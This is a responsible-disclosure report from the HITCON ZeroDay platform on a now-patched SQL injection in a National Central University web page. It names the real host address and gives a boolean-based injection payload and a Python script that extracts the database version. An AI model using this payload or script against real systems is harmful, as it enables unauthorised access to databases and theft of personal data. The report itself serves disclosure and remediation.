國立中央大學網站sqli - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00089
  •  發信 Vendor: 國立中央大學
  • Title: 國立中央大學網站sqli
  • Introduction: sqli

處理狀態

目前狀態

公開
Last Update : 2021/03/08
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2021/02/25 01:26:34 : 新提交 (由 lebr0n_li 更新此狀態)
  • 2021/02/25 23:15:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/02/26 14:07:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/02/26 14:07:44 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/02/26 14:07:44 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/03/04 13:13:27 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/03/04 16:30:24 : 確認已修補 (由 lebr0n_li 更新此狀態)
  • 2021/03/08 03:00:21 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00089
  • 通報者:lebr0n_li (lebr0n_li)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://140.115.186.11/place/files/Docs/download.php?SN=3

敘述

網站存在boolean based sqli

http://140.115.186.11/place/files/Docs/download.php?SN=3' and (ascii(mid(({query}),{position},1)) > {ascii})-- -

python POC:

import requests

base_url = "http://140.115.186.11/place/files/Docs/download.php?SN=3"
payload = "' and (ascii(mid((select version()),{p},1)) > {c})-- -"
flag = ''
for i in range(1, 16):
    mid = int(255 / 2)
    max_c = 255
    min_c = 1
    while min_c != mid:
        payload_url = base_url + payload.format(p=i, c=mid)
        resp = requests.session().get(url=payload_url).text
        if '無權下載' not in resp:
            min_c, mid = mid, int((mid + max_c) / 2)
        else:
            max_c, mid = mid, int((mid + min_c) / 2)
    print(f"found:{chr(min_c + 1)}")
    flag += chr(min_c + 1)
    print(f"now flag:{flag}")

db version : 10.1.25-MariaDB

由於是總務處事務組的網站,怕有與個資相關的資料存在
建議儘速修補,並檢查其他地方是否有相同問題

修補建議

正確過濾參數

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;